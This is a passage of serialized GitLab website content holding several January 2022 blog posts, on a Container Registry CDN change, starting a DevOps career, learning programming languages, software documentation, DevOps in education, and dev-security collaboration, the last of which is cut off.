CDN","The GitLab.com Container Registry will now interface with the Google Cloud Content Delivery Network","https://about.gitlab.com/blog/gitlab-com-container-registry-cdn-change","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab.com Container Registry to use Google Cloud CDN\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darren Eastman\"}],\n        \"datePublished\": \"2022-01-13\",\n      }",{"title":15774,"description":15775,"authors":15779,"heroImage":11576,"date":15780,"body":15781,"category":299,"tags":15782},[5037],"2022-01-13","\n\nIn January 2022, we are working on implementing a change to the Container Registry on GitLab.com. The GitLab Container Registry will now interface with the Google Cloud Content Delivery Network [CDN](https://cloud.google.com/cdn) to optimize costs and improve performance. When implemented, the system will redirect download requests for blobs stored in the GitLab Container Registry to Google Cloud CDN instead of Google Cloud Storage, as is the case today. We expect GitLab CI users to benefit from faster image downloads for those image layers retrieved from edge caches closest to your location.\n\n**Disclaimer** This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab.\n\n## How will this work?\n\nAuthorized requests for [downloading a blob](https://docs.docker.com/registry/spec/api/#pulling-a-layer) and [checking if a blob exists](https://docs.docker.com/registry/spec/api/#existing-layers) in the [GitLab.com Container Registry](https://docs.gitlab.com/ee/user/packages/container_registry) will be redirected to the Google Cloud CDN at `cdn.registry.gitlab-static.net`. So far, these requests were redirected to Google Cloud Storage at `storage.googleapis.com`.\n\nThe exception is for requests originating from within the Google Cloud Platform. These will continue to be redirected to Cloud Storage.\n\n## When will this change occur?\n\nWe expect to start the transition in late January 2022. This will be a gradual transition using a percentage-based rollout, so you can expect an increasing number of your requests to be redirected to Google Cloud CDN instead of Google Cloud Storage until all of them are served by the former.\n\nYou can follow along with the progress of this initiative and raise any questions in this [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/350048). We will post more detailed timelines in that issue as we refine the rollout plan.\n\n## How does this change impact you?\n\nSince most client tools, such as the Docker CLI, handle redirections automatically, this change will be imperceptible for most users on GitLab.com.\n\nHowever, if you are allow listing `storage.googleapis.com`, you will need to add `cdn.registry.gitlab-static.net` to the allow list as well. Please keep both endpoints on your allow list for the time being, as the transition will be gradual. There will be another blog post once the transition is complete.\n\n\nCover image by [Pat Kay](https://unsplash.com/photos/3d7DTnuNj6E) on [Unsplash](https://unsplash.com)\n{: .note}\n",[4103,676,2705,232],{"slug":15784,"featured":6,"template":678},"gitlab-com-container-registry-cdn-change","content:en-us:blog:gitlab-com-container-registry-cdn-change.yml","Gitlab Com Container Registry Cdn Change","en-us/blog/gitlab-com-container-registry-cdn-change.yml","en-us/blog/gitlab-com-container-registry-cdn-change",{"_path":15790,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15791,"content":15796,"config":15800,"_id":15802,"_type":16,"title":15803,"_source":17,"_file":15804,"_stem":15805,"_extension":20},"/en-us/blog/how-to-begin-your-devops-journey",{"title":15792,"description":15793,"ogTitle":15792,"ogDescription":15793,"noIndex":6,"ogImage":10029,"ogUrl":15794,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15794,"schema":15795},"How to begin your DevOps journey","So you want a career in DevOps? These easy and affordable opportunities will let you get started today.","https://about.gitlab.com/blog/how-to-begin-your-devops-journey","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to begin your DevOps journey\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christina Hupy, Ph.D.\"}],\n        \"datePublished\": \"2022-01-13\",\n      }",{"title":15792,"description":15793,"authors":15797,"heroImage":10029,"date":15780,"body":15798,"category":962,"tags":15799},[14215],"\n[DevOps](/topics/devops/) is a hot career track. The DevOps industry is projected by IDC to be at [$17.7 billion in revenue by 2024](https://www.idc.com/getdoc.jsp?containerId=US45188520). Such growth requires more DevOps practitioners in all realms. Yet, due to the speed of change in DevOps, students are generally not learning DevOps skills and workflows while in a degree program. That doesn’t mean you have to wait to gain these critical skills. We share how to get the skills you need now.\n\n## Why early exposure to DevOps is important\n\nBy learning DevOps early on in their education, students can drastically shorten the typical six-years-or-more timeline to becoming a DevOps professional. In our [GitLab for Education Survey](/solutions/education/edu-survey/), 40% of student respondents answered that DevOps is critical for workforce readiness and 45% viewed the ability to build a portfolio and record of contributions as a top benefit of using DevOps while in school.\n\nStudents and young professionals learning to code with the same approach they will use in the industry gives them a jump on their careers and makes the transition from the classroom to a DevOps culture that much easier. It can also help to accelerate the digital transformation as newly onboarded employees begin to spread the benefits of iterating faster, innovating together, and increasing deployment velocity.\n\nHere’s how to get a headstart on learning DevOps.\n\n### 1. Bring DevOps to your classroom\n\nIf your university and professors are not currently teaching DevOps or using DevOps tools in your classes, don't worry, we've got a blog post that covers [5 easy ways to bring DevOps into your classroom](/blog/5-ways-to-bring-devops-to-your-campus/). Learn about how our GitLab for Education team can visit your classroom and give a guest lecture on DevOps or a workshop. And how our GitLab for Education Program offers free, top-tier, unlimited licenses to qualifying institutions. Students can also sign up individually for [GitLab’s free tier](/pricing/).\n\n### 2. Explore DevOps on your own\n\nExploring DevOps on your own is a great way to extend your knowledge, gain different perspectives, and build on top of your degree. \n\nDevOps as a discipline, platform, and culture is ever-evolving. With social media, tech publications, case studies, and blog posts there is no shortage of content for you to access. It is easy to tune into industry conversations on Twitter and elsewhere to stay on the cutting edge. We recommend getting started by reading some of our [GitLab blogs](/blog/) or blogs from other organizations in the DevOps space that catch your eye.\n\nFor instance, follow Developer Evangelists or Developer Relations professionals, known as DevRels, from your favorite organizations, and see what they are sharing. Don’t worry about understanding all the details at first, just look for the high-level points, the tools they discuss, and general industry trends. Follow [Michael Friedrich](https://gitlab.com/dnsmichi), GitLab Developer Evangelist, to learn about all things DevOps, especially CI/CD, monitoring, and observability, and follow [Abubakar Siddiq Ango](https://gitlab.com/abuango), GitLab Developer Evangelism Program Manager, to learn about DevSecOps with a focus on the Cloud Native Ecosystem. \n\n### 3. Start networking\n\nThere is no better way to get excited about DevOps and its potential than through networking with other DevOps professionals and enthusiasts. \n\n- Meetups. Tech companies in the DevOps space host monthly meetups (in-person and virtual), where professionals and community members alike listen to a short talk and then engage in a Q&A. These meetups provide opportunities for networking as well. At GitLab, you can see our [upcoming events](https://www.meetup.com/pro/gitlab) and register for free or sign up to host one for your classmates or teammates. (We are here to help](/community/meetups/) and get you started. \n\n- Conferences. GitLab‘s annual user conference, GitLab Commit, showcases amazing presentations from customers across all industries and community members from all over the world, along with breakout sessions so you can network. Keep an eye out for the next one in September and [view the playlist](https://www.youtube.com/c/Gitlab/playlists?view=50&sort=dd&shelf_id=1) from GitLab Commit 2021. Also [DevOps Days](https://devopsdays.org/), a series of free technical conferences around the world, lets you mingle with DevOps professionals and learn more about the industry.\n\n### 4. Get hands-on with DevOps tools and platforms\n\nReady to jump in? Gaining hands-on experience is the fastest way to start your journey, and you don’t need an internship or job to access tools. If you are a current student or early professional, you can begin to build a portfolio of projects on GitLab or your [platform of choice](https://about.gitlab.com/topics/devops/beginner-devops-platform/). Even simple projects, such as creating a Twitter bot or Python script, can be done in a source control management system like GitLab. \n\nStore relevant homework, course projects, capstone projects, and side projects in one central repository and your future employers will be able to see your portfolio and how your skills have progressed over time. With [GitLab pages](https://docs.gitlab.com/ee/user/project/pages/), you can even publish your resume and keep a journal of blog posts documenting your journey in DevOps. \n\nAs example, check out [the profile page of PJ Metz](https://gitlab.com/PjMetz), GitLab Education Evangelist. Notice everything he’s worked on is right there and you can click to see his commits and merge requests. The earlier you start to build a portfolio, the more you’ll have to share with potential employers\n\n### 5. Contribute to the open source community\n\nAnother great way to gain experience is to contribute to open source projects. Students and young professionals often aren't aware of the value of contributing to open source projects, haven’t considered it, or maybe think that you need high-level developer skills to contribute. \n\nBy nature, anyone who has very basic technical skills can contribute to an open source project at some level. Most open source projects have resources available for new contributors or first-time contributors, including a “Getting Started” guide or a list of contributions needed. Contributions aren’t limited to expert coders; open source communities accept input from a variety of skill levels and experience. For example, new contributors can work on documentation and language translation. Minor UX changes or bug fixes are also great first contributions. \n\nAdditionally, many open source projects often have engaged communities that are invested in helping new contributors learn and grow their skills. This set of unique characteristics makes contributing to open source projects a great starting point for people from diverse backgrounds.  \n\nGitLab is an open core platform with a vibrant community. We have over 10,000 merge requests from the wider community with an average of 250 contributors per month. You can contribute to GitLab in [three ways](/community/contribute/):\n\n- Fix bugs\n- Add to documentation\n- Translate our docs and products to different languages\n\nWe make contributing very easy and accessible to first-time contributors. We even label each issue with `quick win`.  Our [quarterly hackathons](/community/hackathon/) enable you to network with our community, meet merge request coaches, attend meetups, and win sweet swag prizes. For more, check out our #contributors channel on [Discord](https://discord.gg/gitlab).\n\n### 6. Earn some industry credentials \n\nAfter getting your feet wet and building skills on your own, you may also be interested in adding some more formal credentials to your resume. Courses and certificate programs are a great way to add to your degree or work on professional development early in your career. Certifications are generally achieved after gaining some hands-on experience and working in the field. \n\n- DevOps courses. Most online learning platforms, such as Coursera, Udemy, and LinkedIn Learning have some form of DevOps course. For example, LinkedIn Learning has a free [DevOps foundations course](https://www.linkedin.com/learning/devops-foundations/development-and-operations-2?autoAdvance=true&autoSkip=false&autoplay=true&resume=true&u=2255073).\n\n- DevOps certifications. If you have some experience under your belt and are interested in a more formal path, a DevOps certification could be of interest to you. DevOps certification is an accredited credential that is earned by demonstrating some specific skills and subject matter that are required to work in the DevOps profession. These credentials are earned by taking courses, passing assessments, and participating in performance reviews, or providing work samples. DevOps certifications can be specific to a certain tool, such as the Docker Certified Associate or Kubernetes Certification. Amazon Web Services, or AWS, also offers a Certified DevOps Engineer Exam. Some DevOps certifications are more tool- and platform-agnostic such as those offered by the [DevOps Institute](https://www.devopsinstitute.com/certifications/). \n\nGitLab has a learning platform with several courses and certification pathways, including a GitLab Certified Associate, GitLab Certified CI/CD Specialist, and GitLab DevOps Professional. See our [full list](/learn/certifications/public/) or [sign up to learn more](https://gitlab.edcast.com/). \n\nWherever you are on your journey to becoming a DevOps professional, these resources should help you move forward and learn more about this exciting aspect of software development.\n",[7116,7715,267],{"slug":15801,"featured":6,"template":678},"how-to-begin-your-devops-journey","content:en-us:blog:how-to-begin-your-devops-journey.yml","How To Begin Your Devops Journey","en-us/blog/how-to-begin-your-devops-journey.yml","en-us/blog/how-to-begin-your-devops-journey",{"_path":15807,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15808,"content":15813,"config":15817,"_id":15819,"_type":16,"title":15820,"_source":17,"_file":15821,"_stem":15822,"_extension":20},"/en-us/blog/new-year-new-programming-language",{"title":15809,"description":15810,"ogTitle":15809,"ogDescription":15810,"noIndex":6,"ogImage":11237,"ogUrl":15811,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15811,"schema":15812},"New year, new programming language","Use the calendar turnover as an excuse to spark your curiosity and learn one of the hottest programming languages.","https://about.gitlab.com/blog/new-year-new-programming-language","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"New year, new programming language\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2022-01-13\",\n      }",{"title":15809,"description":15810,"authors":15814,"heroImage":11237,"date":15780,"body":15815,"category":962,"tags":15816},[11618],"\nIt’s 2022, time to learn something new. So how about studying a new programming language? Keeping your [dev skills sharpened](/blog/the-top-skills-you-need-to-get-your-devops-dream-job/) and gaining fluency in more than one language is ideal for DevOps pros, according to DevOps Institute’s [2021 Upskilling Report](https://info.devopsinstitute.com/2021-upskilling-report-download).\n\nBut with all the new programming languages around, it can be tricky to know where to begin. [Stack Overflow’s 2021 Survey](https://insights.stackoverflow.com/survey/2021) found devs were most interested in learning Python, JavaScript, and Go. JavaScript is a fairly ubiquitous language, so let’s look instead at tutorials and advice for some up-and-coming languages, including Python, Go, Rust, Groovy, and Kotlin.\n\n## The promise of Python\n\nPython is a very popular second or third language for websites, analytics, and all things DevOps. It’s also very easy to [start learning](/blog/beginner-guide-python-programming/). Python.org offers [a free tutorial](https://www.python.org/about/gettingstarted/). There is also an [interactive option](https://www.learnpython.org).\n\n## Go for the gold\n\nAnother language to consider is Go because its proponents say it’s incredibly easy to learn and use. Go is so interesting that GitLab Staff Developer Evangelist [Brendan O’Leary](/company/team/#brendan) is going to learn it this year [and plans to share the journey on his blog](https://boleary.dev/blog/2022-01-10-new-year-new-language.html). Learn the [basics of Go](https://go.dev/doc/tutorial/getting-started) and then consider diving into [Go by Example](https://gobyexample.com).\n\nOnce you’re done hitting the books, tackle a real-world challenge, like [using Go for CI](/blog/go-tools-and-gitlab-how-to-do-continuous-integration-like-a-boss/).\n\n## All about Rust\n\nIt’s safe to say the devs who know and use Rust _love_ Rust. But, to be fair, it’s not necessarily the easiest language to learn. That said, if the goal is secure code, [Rust is a solid choice](/blog/rust-programming-language/). To try Rust on for size, devs can either [read The Rust Programming Language book](https://doc.rust-lang.org/book/) or try [the Rustlings course](https://github.com/rust-lang/rustlings/). Overachievers might want to [learn how to fuzz Rust code](/blog/how-to-fuzz-rust-code/). \n\n## Feeling Groovy\n\nGroovy is all about scripting and, as such, is ideal for those wanting to learn automation. Also, Groovy works side-by-side with Java, meaning it’s going to be a language that comes easily to those devs. [Get started with Groovy](https://www.guru99.com/groovy-tutorial.html). For a deeper dive, here’s [a list of books about Groovy](https://groovy-lang.org/learn.html).\n\n## Create with Kotlin\n\nApparently Kotlin is a programming language that [makes developers happier](https://kotlinlang.org) and is ideal for data science projects and Android apps. If you want to be a happier developer, too, [here’s how to get started with Kotlin](https://www.codecademy.com/learn/learn-kotlin/modules/learn-kotlin-introduction-to-kotlin). Google also offers a [bootcamp for Kotlin developers](https://www.udacity.com/course/kotlin-bootcamp-for-programmers--ud9011).\n\n## Bonus round: Use Python and Rust together\n\nBecause there is no point in learning a new programming language unless you can use it, here’s a step-by-step guide to bringing your application idea to production [using Python, Rust, and GitLab CI](/blog/python-rust-and-gitlab-ci/).\n",[4103,7715],{"slug":15818,"featured":6,"template":678},"new-year-new-programming-language","content:en-us:blog:new-year-new-programming-language.yml","New Year New Programming Language","en-us/blog/new-year-new-programming-language.yml","en-us/blog/new-year-new-programming-language",{"_path":15824,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15825,"content":15830,"config":15835,"_id":15837,"_type":16,"title":15838,"_source":17,"_file":15839,"_stem":15840,"_extension":20},"/en-us/blog/16-ways-to-get-the-most-out-of-software-documentation",{"title":15826,"description":15827,"ogTitle":15826,"ogDescription":15827,"noIndex":6,"ogImage":12777,"ogUrl":15828,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15828,"schema":15829},"How to get the most out of software documentation","Want to get even more mileage out of your DevOps platform? Better software documentation is the answer. Here are tips to help you get started.","https://about.gitlab.com/blog/16-ways-to-get-the-most-out-of-software-documentation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to get the most out of software documentation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2022-01-11\",\n      }",{"title":15826,"description":15827,"authors":15831,"heroImage":12777,"date":15832,"body":15833,"category":962,"tags":15834},[3907],"2022-01-11","\n\nIt’s not a glamorous part of a DevOps platform, but software documentation is easy, sometimes hands-free, and, if done correctly, can help speed up development and deployment. Here are some tips to refresh your software documentation practice.\n\n## Defining documentation\n\nSoftware documentation – which includes everything from manuals to system and design requirements, change lists, code comments, and alert records – is a way to unify efforts between projects and DevOps teams, and to share specialized knowledge and guidance. It’s also a way to standardize practices and benchmark metrics. There’s a direct correlation between creating clear, comprehensive, searchable, up-to-date, and well-organized documents and a DevOps team’s success.\n\nNeed proof? According to the [Accelerate State of DevOps 2021 report](https://gitlab.com/gitlab-com/www-gitlab-com/uploads/069ee8e2ee6af463cf0aafcd89eda33e/state-of-devops-2021.pdf) from DORA, the DevOps Research and Assessment team at Google, DevOps teams with solid documentation practices are 2.4 times more likely to meet or exceed their reliability targets, 3.8 times more likely to implement security practices, and 2.5 times more likely to fully leverage the cloud.\n\nMaking sure you have strong documentation actually is one of the six suggestions the DORA report gave DevOps professionals who [want to become elite team performers](/blog/how-to-make-your-devops-team-elite-performers/).\n\nAs you work on a [DevOps platform](/solutions/devops-platform/) and create new efficiencies and processes, you will want to document them so you can carry them forward. No continually reinventing the wheel for you.\n\n### Tips for creating solid software documentation\n\nSo how do you go about building good documentation? Here are some basic steps to follow:\n\n- You need to decide who is responsible for the documentation. What works best for your team and your organization? Does the project need a [technical writer](/handbook/product/ux/technical-writing/) or can one of your developers handle it? Give one person or just a few people ownership of documentation. You’re more likely to have quality software documentation when someone has clear responsibility and no one can pass the buck. \n\n- Don’t forget about incorporating user experience into your documentation. It will give you a different view on use cases and experiences and enable readers to have their success moment [more quickly](https://docs.gitlab.com/ee/ci/quick_start/). \n\n- Think about the security requirements for your software. For instance, when a project uses network communication over public transport, does it provide secure communication with TLS and/or https? Inform users about [support policies for security releases](https://docs.gitlab.com/ee/policy/maintenance.html), allowing to plan accordingly for upgrades and maintenance windows. Additionally, what measurements do you need to take to make sure it complies with company security policies? Note that information in your documentation.\n\n- Use your documentation to explain technical decisions and share insights into [reference architectures](https://docs.gitlab.com/ee/administration/reference_architectures/). When debugging a problem, it is helpful to learn about the decisions, and also have ‘get help’ and [‘troubleshooting’ sections](https://docs.gitlab.com/ee/ci/troubleshooting.html) in your documentation.\n\n- Provide details about issues you faced with the project and how you worked them out. Make sure the details are explained so that others can easily understand them. Add URLs to issues or epics into your documentation to allow readers to follow, for example the [version history for product features](https://docs.gitlab.com/ee/development/documentation/styleguide/#version-text-in-the-version-history) in the GitLab documentation.\n\n- There should be specific rules about how to change, expand and update documentation. Create [documentation style guides](https://docs.gitlab.com/ee/development/documentation/styleguide/), including requirements, examples, use cases and specifications for writing for a global audience. If changes are made creating inconsistent data formats, it can be more difficult to organize and search documents.\n\n- Don’t just document at the end of a project. It should be done continuously throughout the development and deployment lifecycle – from planning through monitoring and feedback. (We’ll give you more tips about this below.)\n\n- Give people who are responsible for documentation the [training](/handbook/product/ux/technical-writing/fundamentals/) they need in how to collect data, write, organize, and maintain it.\n\n- Make sure the [people responsible for documentation](/handbook/product/ux/technical-writing/#designated-technical-writers) are included in all aspects of the DevOps lifecycle. Bring them into planning, design, and testing meetings. They can’t write about or collect information about what they don’t know is happening.\n\n- Make use of data created by automated processes. (Again, there’s more information on this below.)\n\n- Make sure your documentation isn’t just paraphrasing what the source code flow does. Explain the “why” as well as the use case for the project. Dependending on the size and users, your audiences may differ, and the introduction needs an [overview with different navigation routes](https://docs.gitlab.com/ee/index.html).\n\n- There’s no one right way to handle documentation. What you need for documentation may vary depending on things like the size and nature of your organization, the scope of your software projects, and compliance issues. A hospital or financial institution’s documentation needs might differ from those of a small, private company.\n\n## Continuous software documentation\n\nMuch like there are continuous integration and deployment, there also can be continuous documentation. You can make the automated processes on a DevOps platform do a good chunk of your documentation work by having them capture key information throughout the DevOps lifecycle and funnel it into your documentation stores. Make it part of your development workflow by approaching documentation with a DevOps mindset. Software documentation is easier and more helpful when it’s done continuously.\n\nYou can leverage existing tools to generate, convert and present documentation. GitLab provides an extensive REST API, which allows to [update the wiki](https://docs.gitlab.com/ee/api/wikis.html) programmantically, or modify a Markdown file in the Git repository from your CI/CD pipelines. If you want to present the documentation on a website, you can use [MkDocs](https://www.mkdocs.org/) to generate a static documentation website [served with GitLab Pages](https://gitlab.com/pages/mkdocs) for example. Code documentation with [Doxygen](https://www.doxygen.nl/manual/docblocks.html) can be generated in the same way as a [website reference documentation](https://gitlab.com/pages/doxygen). \n\n### Tips to make documentation easier and more continuous\n\n- The DevOps platform’s automated systems, which govern processes and monitor everything from system to software configurations, generate logs that can create a real-time, ongoing stream of documentation.\n\n- Scripts and configuration files that control automated processes, like testing, hold important configuration data that can be fed into documentation.\n\n- Issue and alert logs, which generally contain information about problems, can be automatically documented. \n\n- Integrated [Observability](/direction/monitor/) keeps track of performance and availability of the software and also can add to documentation by providing access to metrics, traces and log dashboards and panels.  \n\nThese are just a few ways to automatically feed your continuous documentation operation. Sure, there are forms of documentation that will need some hands-on, but there are a lot that can be generated as part of the ongoing process. The data is there, so make good use of it.\n\n“Good documentation is foundational for successfully implementing DevOps capabilities,” the DORA report noted. “Teams with high quality documentation are better able to implement technical practices and perform better as a whole… From security to testing, documentation is a key way to share specialized knowledge and guidance both between these specialized sub-teams and with the wider team.” \n\n_[Michael Friedrich](/company/team/#dnsmichi), Senior Developer Evangelist, contributed to this blog post._\n",[7116,1444,2368],{"slug":15836,"featured":6,"template":678},"16-ways-to-get-the-most-out-of-software-documentation","content:en-us:blog:16-ways-to-get-the-most-out-of-software-documentation.yml","16 Ways To Get The Most Out Of Software Documentation","en-us/blog/16-ways-to-get-the-most-out-of-software-documentation.yml","en-us/blog/16-ways-to-get-the-most-out-of-software-documentation",{"_path":15842,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15843,"content":15848,"config":15852,"_id":15854,"_type":16,"title":15855,"_source":17,"_file":15856,"_stem":15857,"_extension":20},"/en-us/blog/5-ways-to-bring-devops-to-your-campus",{"title":15844,"description":15845,"ogTitle":15844,"ogDescription":15845,"noIndex":6,"ogImage":12588,"ogUrl":15846,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15846,"schema":15847},"5 ways to bring DevOps to your campus","Educators can give students a career advantage by collaborating with GitLab to bring DevOps lectures, tools, and community straight to the classroom.","https://about.gitlab.com/blog/5-ways-to-bring-devops-to-your-campus","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 ways to bring DevOps to your campus\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"PJ Metz\"}],\n        \"datePublished\": \"2022-01-11\",\n      }",{"title":15844,"description":15845,"authors":15849,"heroImage":12588,"date":15832,"body":15850,"category":962,"tags":15851},[12593],"\nOrganizations around the world and across industries are adopting the DevOps methodology where development and operations are blended to securely accelerate software delivery. As this approach becomes a mainstay of software development, companies will need skilled professionals to fill key DevOps roles. Yet, as with most technological change, educational opportunities often lag behind real-world applications.\n\nGitLab aims to change this and has developed five ways educators can bring DevOps instruction and our [DevOps Platform](/solutions/devops-platform/) to your campus, affording students, professors, researchers, and IT teams the unique opportunity to learn DevOps skills firsthand, including DevSecOps, and offering your graduates and organization a competitive advantage.\n\n**1. GitLab for Education program**\n\n[GitLab for Education](/solutions/education/) provides free licenses of Ultimate to educational and research institutions as long as it is used for teaching or nonprofit research purposes. If you’re going to use GitLab in a classroom and want your students to use it for their schoolwork, then this is the option for you. This is set up by a full-time employee of the university and is a full license with as many seats as you need. Our Ultimate license is everything that our major enterprise customers use to create their apps and now it’s available to university students across a variety of disciplines. Signing up is simple via our [join page](/solutions/education/join). This kicks off a process that takes a few weeks to complete and ends with a license that brings your classroom or research into the world of the DevOps Platform. Learn how GitLab for Education has benefited other institutions, including the [University of Washington](/customers/uw/), [Dublin City University](/customers/dublin-city-university/), and Heriot Watt University.\n\n**2. GitLab for Campuses**\n\nGitLab for Campuses lets your developers, IT professionals, and other employees working with the technical administration of your university have access to world-class DevOps tools. Rather than cobbling together multiple applications for a Do-It-Yourself DevOps solution, we can provide you access to our single DevOps platform at a discounted rate. [GitLab for Campuses](/solutions/education/) is an offering that covers a large swath of your user base. You would still be able to grant access to students on your campus to use GitLab just like you can with GitLab for Education, but you have the added benefit of The DevOps Platform being used for running your entire institution’s IT.\n\n**3. GitLab Guest Lecture**\n\nDevOps might be a brand-new consideration for your classroom; perhaps this is your first time hearing about it. GitLab’s education team is here to help you by providing a DevOps 101 guest lecture, which you can schedule for your class. We can have a lecture during one of your sections or set up a time for multiple sections of your class to come together and learn about what DevOps is and how to learn more. This type of industry information is invaluable for students looking to join a company right out of college. We’re not just talking about The DevOps Platform, but DevOps as an operational and cultural change in software development, as well as how DevOps implementations can be present in non-CS careers and companies. Let our team of former educators help guide your class into the exciting world of DevOps with a guest lecture. [Fill out this form](https://forms.gle/y2r5o83i8z6rfJPh8) to find out more about our Guest Lecture opportunities.\n\n**4. GitLab Student Contribution Workshop**\n\nContributing to open source is one of the best ways students can build skills, make connections, and add to their portfolio to showcase their abilities and work. Open source is everywhere in DevOps, especially at GitLab. Not only are several open source projects hosted on GitLab, GitLab itself is open core and [open for contributions](/community/contribute/).\n\nWe believe [everyone can Contribute](/company/mission/#mission), but we know that the first contribution can be daunting; students might not know where to start, how to create a merge request, or what the maintainers are looking for. Even basics like working locally and git commands might be a little confusing if students haven’t encountered them before. One way for students to  participate is through our hackathon. GitLab hosts a [hackathon](/community/hackathon/) once every three months with helpful issue tags and other ways to easily find places where we are looking for contributors to help build the future. Past hackathons have included swag prizes for every merge request that gets merged as well as a top-tier prize for the most contributions. Top contributors to GitLab are also eligible for our [Heroes program](/community/heroes/).\n\nBecause we believe so strongly in the power and importance of open source, we are offering a Contribution Workshop where a GitLab team member will walk students through some of the ways they can contribute to open source on GitLab. If your class, student organization, or large group of students wants to learn more about open source contributions, [contact us](https://docs.google.com/forms/d/e/1FAIpQLSe8yQkCMjylb-9w3WZoz3tmN7hmhnrb2LRoXWJd6D5ncP_o6Q/viewform?usp=sf_link). We’ll take it from there and bring open source to your campus.\n\n**5. GitLab Student Organization Workshop**\n\nStudent organizations still remain one of the best ways to build community among future professionals and make connections that can be vital to a student’s career. Meeting others working or studying in the same field also promotes sharing of information and resources to create an environment that maximizes potential success for everyone. These organizations, like on-campus clubs, professional fraternities and sororities, and even professional organizations with student chapters, are a great way to start building your future with your peers. GitLab is looking to bring a small workshop to student organizations at your university where you’ll not only learn how to use GitLab and start using DevOps best practices, but you’ll also boost some coding skills by actually building with GitLab. We’ll be offering a workshop in Python or Node.js where we will learn to build either a Twitter bot or a Discord bot.\n\nBecause of the ever-evolving presence of Covid and travel complications, we can’t promise this workshop will be in person. As of right now, the safest way is to get together virtually. If you are a member of a student organization looking to give your members an opportunity to learn more about DevOps, GitLab, or a fun project to make a bot and level up some skills, then this is the workshop for you. [Sign up here](https://docs.google.com/forms/d/e/1FAIpQLSecpQ1tmFpAPeeT9rasWcAtaEF8nv62LEDsKyJEdJJbe5Z8RQ/viewform?usp=sf_link)\n\n\n",[4103,7715,267],{"slug":15853,"featured":6,"template":678},"5-ways-to-bring-devops-to-your-campus","content:en-us:blog:5-ways-to-bring-devops-to-your-campus.yml","5 Ways To Bring Devops To Your Campus","en-us/blog/5-ways-to-bring-devops-to-your-campus.yml","en-us/blog/5-ways-to-bring-devops-to-your-campus",{"_path":15859,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15860,"content":15866,"config":15872,"_id":15874,"_type":16,"title":15875,"_source":17,"_file":15876,"_stem":15877,"_extension":20},"/en-us/blog/want-secure-software-development-our-top-5-tips-to-bring-dev-and-sec-together",{"title":15861,"description":15862,"ogTitle":15861,"ogDescription":15862,"noIndex":6,"ogImage":15863,"ogUrl":15864,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15864,"schema":15865},"Developing secure software: Top tips for dev-sec integration","Every DevOps team wants secure software development but it's surprisingly hard to achieve. Here are 5 strategies to bring dev and sec together.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679444/Blog/Hero%20Images/twotogether.jpg","https://about.gitlab.com/blog/want-secure-software-development-our-top-5-tips-to-bring-dev-and-sec-together","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Want secure software development? Our top 5 tips to bring dev and sec together\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2022-01-10\",\n      }",{"title":15867,"description":15862,"authors":15868,"heroImage":15863,"date":15869,"body":15870,"category":8943,"tags":15871},"Want secure software development? Our top 5 tips to bring dev and sec together",[11618],"2022-01-10","\nThe most productive DevOps teams achieve secure software development by baking sec in from the start. That’s a worthwhile goal, but the reality is developers and security teams don’t always get along. From squabbles around where the buck stops to finger-pointing about finding and fixing bugs, dev and sec often struggle to get on the same page.\n\nAt a time when the security stakes have never been higher, dev and sec simply have to figure it out.\n\nHere are our top five tips to [bridge the gap between dev and sec](/blog/developer-security-divide/) and truly welcome security into the DevOps fold.\n\n**1. Forget the past**\n\nIn the bad, old days, a security officer swooped in when code was hitting production to point out problems and demand changes, often with little to no context or explanation. Developers didn’t exactly jump all over themselves to cooperate. TL;DR there’s plenty of blame to explain the lack of secure software development.\n\t\nThankfully, DevOps and modern application development bring fresh narratives and workflows. Nearly 28% of security pros now work in cross-functional DevOps teams, according to our [2021 Global DevSecOps Survey](/developer-survey/). And over 70% have shifted security left, the survey found. \n\nWhat’s the secret to their success? It’s all about DevOps and the [technology changes required to do it successfully](https://about.gitlab.com/blog/elite-team-strategies-to-secure-software-supply-chains/). Our survey found that teams settled on DevOps for better code quality and faster release times, but the tech choices to support that success – automated testing, security scans, and shift-left security – actually ended up bringing dev and sec closer together.\n\n_The takeaway_: The right technology is surprisingly helpful in breaking down stereotypes.\n\n**2. Learn each other’s languages**\n\nClearly, dev and sec have an ongoing communication problem. \n\nIn fact, they can’t even agree on who “owns” security, as we saw in our survey. A sec pro told us, “Security must be a practice of every member of the team from the front-end developer to the system administrator (and also non-tech roles),” while a dev said, “It’s all up to the developer!”\n\nWork needs to happen, and it starts with the very old-fashioned concept of getting to know one another. A sec pro could attend a developer meet-up, and a dev could sit in on a security retro. For some teams, this is going to have to be a forced function where management mandates cross-functional “lunch and learns,” virtual offsites, or even ice breakers.\n\n_The takeaway_: Yes, even an escape room (or other bonding exercises) can [help a team start to speak the same 